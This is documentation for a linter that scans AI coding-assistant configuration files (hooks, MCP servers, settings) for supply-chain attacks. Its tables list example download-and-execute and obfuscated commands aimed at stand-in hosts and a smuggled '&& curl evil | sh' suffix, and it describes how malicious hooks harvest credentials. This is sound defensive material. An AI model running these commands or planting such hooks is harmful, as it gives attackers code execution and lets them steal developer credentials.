Supply Chain Protection¶
skillsaw itself is a supply chain surface
Any tool you run in CI can be a vector. Pin skillsaw to a specific
version and commit SHA, and use --no-custom-rules on untrusted PRs.
See Skillsaw as a vector for details.
AI coding assistants execute hooks, MCP servers, and shell commands defined
in repository configuration files. An attacker who lands a malicious
.claude/settings.json, .mcp.json, or hooks.json in a project — via a
compromised dependency, a poisoned PR, or a typosquatted plugin — can
achieve code execution the moment a developer opens the repo.
The Shai-Hulud attack
demonstrated this at scale in May 2026, compromising 317 npm packages by
injecting SessionStart hooks into .claude/settings.json files. When
developers opened these repos with Claude Code, the hooks fired and
executed scripts that harvested credentials and established persistence.
Security rules¶
skillsaw includes four rules designed to catch these attacks:
| Rule | Default | What it does |
|---|---|---|
hooks-dangerous |
auto, error | Flags hook commands matching supply-chain patterns |
hooks-prohibited |
disabled, error | Prohibits all hooks unless explicitly allowlisted |
mcp-prohibited |
disabled, error | Prohibits all MCP servers unless explicitly allowlisted |
settings-dangerous |
auto, error | Flags settings keys that execute arbitrary commands or set dangerous env vars |
hooks-dangerous¶
Always on by default. Scans hook commands in hooks.json and
settings.json (including .apm/ sources) for dangerous patterns:
| Pattern | Severity | Example |
|---|---|---|
| Dotfile script execution | error | node .claude/setup.mjs |
| Download-and-execute | error | curl https://evil.test/payload \| sh |
| Download chain | error | wget https://evil.test/script && bash script |
| Obfuscation | error | eval "$(base64 -d <<< ...)" |
| Bun runtime | error | bun run .vscode/index.js |
| Network fetch | error | curl https://example.test/data |
hooks-prohibited¶
Opt-in policy rule. When enabled, all hook commands are prohibited unless they match an entry in the allowlist. This catches any new hook added to a project — even if it doesn't match a known dangerous pattern.
mcp-prohibited¶
Opt-in policy rule. When enabled, all MCP servers are prohibited
unless their name appears in the allowlist. Scans both plugin-level and
root-level .mcp.json files.
settings-dangerous¶
Always on by default. Flags settings keys that execute arbitrary shell commands when Claude Code starts:
apiKeyHelper— runs a command to fetch the API keyawsAuthRefresh— runs a command to refresh AWS authawsCredentialExport— runs a command to export AWS credentialsgcpAuthRefresh— runs a command to refresh GCP authotelHeadersHelper— runs a command to fetch OpenTelemetry headers
Also flags dangerous environment variables that can hijack process behaviour:
| Category | Variables |
|---|---|
| Library injection | LD_PRELOAD, LD_LIBRARY_PATH, DYLD_INSERT_LIBRARIES |
| Runtime code injection | NODE_OPTIONS, PYTHONSTARTUP, PYTHONPATH, PERL5OPT, PERL5LIB, RUBYOPT, RUBYLIB |
| Shell startup | BASH_ENV, ENV, ZDOTDIR |
| Traffic interception | http_proxy, https_proxy, HTTP_PROXY, HTTPS_PROXY |
| Certificate override | CURL_CA_BUNDLE, SSL_CERT_FILE, NODE_EXTRA_CA_CERTS |
| Git command hijacking | GIT_SSH_COMMAND, GIT_PROXY_COMMAND |
Recommended configuration¶
Enable all four rules and allowlist only the hooks, MCP servers, and settings your project actually needs:
rules:
# Auto-enabled: flags download-and-execute, obfuscation, dotfile
# script execution, and suspicious network access in hook commands.
hooks-dangerous:
enabled: auto
severity: error
# Opt-in: prohibits ALL hooks unless explicitly allowlisted.
# Turn this on and add your known-good hooks to the allowlist.
hooks-prohibited:
enabled: true
severity: error
allowlist:
- "make lint"
- "make test"
- "eslint --fix"
# Opt-in: prohibits ALL MCP servers unless explicitly allowlisted.
mcp-prohibited:
enabled: true
severity: error
allowlist:
- "memory"
# Opt-in: flags settings keys that execute arbitrary commands
# (apiKeyHelper, awsAuthRefresh, etc.) and dangerous env vars
# (LD_PRELOAD, NODE_OPTIONS, proxy settings).
settings-dangerous:
enabled: true
severity: error
With this configuration, any new hook, MCP server, or command-execution setting added to the project will fail CI until it is explicitly allowlisted — preventing supply chain payloads from slipping through unnoticed.
Allowlists use exact matching
All allowlist entries require an exact match — the command or server
name must equal an allowlist entry exactly. This prevents an attacker
from bypassing the allowlist by appending shell operators
(&& curl evil | sh) to an otherwise permitted command.
Incremental adoption¶
If your project already has hooks or MCP servers, use baselining to snapshot the current state and only flag new additions going forward:
From that point on, only new hooks, MCP servers, or dangerous settings will be reported. See Baseline for details.
What these rules scan¶
The rules scan all configuration sources where hooks and MCP servers can be defined:
| Source | Rules that scan it |
|---|---|
.claude/hooks/hooks.json |
hooks-dangerous, hooks-prohibited |
.claude/settings.json |
hooks-dangerous, hooks-prohibited, settings-dangerous |
.claude/settings.local.json |
hooks-dangerous, hooks-prohibited, settings-dangerous |
.mcp.json (repo root) |
mcp-prohibited, mcp-valid-json |
Plugin hooks/hooks.json |
hooks-dangerous, hooks-prohibited |
Plugin .mcp.json |
mcp-prohibited, mcp-valid-json |
.apm/hooks/hooks.json |
hooks-dangerous, hooks-prohibited |
.apm/settings.json |
hooks-dangerous, hooks-prohibited, settings-dangerous |
Skillsaw as a vector¶
skillsaw itself is a tool that runs in your CI pipeline, and its own supply chain matters. See THREAT_MODEL.md for the full threat model.
Pin to a specific version¶
Always pin skillsaw to a specific version in CI rather than installing the latest. This prevents a compromised release from silently entering your pipeline:
If you use the skillsaw GitHub Action, pin it to a commit SHA rather than a mutable tag:
skillsaw is published to PyPI using
trusted publishing (OIDC
via pypa/gh-action-pypi-publish), which means releases are
cryptographically tied to the GitHub Actions workflow that built them —
no long-lived API tokens that could be stolen.
Custom rules¶
Custom rules defined in .skillsaw.yaml are arbitrary Python files
loaded via importlib and executed during linting. An attacker who
modifies or adds a custom rule in a pull request can achieve code
execution on the CI runner — leaking secrets, tokens, or credentials
from the build environment.
Use --no-custom-rules when running skillsaw on untrusted PRs:
This skips loading all custom rules while still running the full set of builtin rules. Additional mitigations for CI environments:
- Don't run custom checks for untrusted contributors. Only enable custom rules for PRs from trusted collaborators or after manual review.
- Run in a sandboxed environment. Use ephemeral runners with no access to production systems or persistent credentials.
- Don't expose tokens to the linting step. Use GitHub's
permissionsblock to restrict theGITHUB_TOKENscope, and never pass secrets as environment variables to the step that runs skillsaw.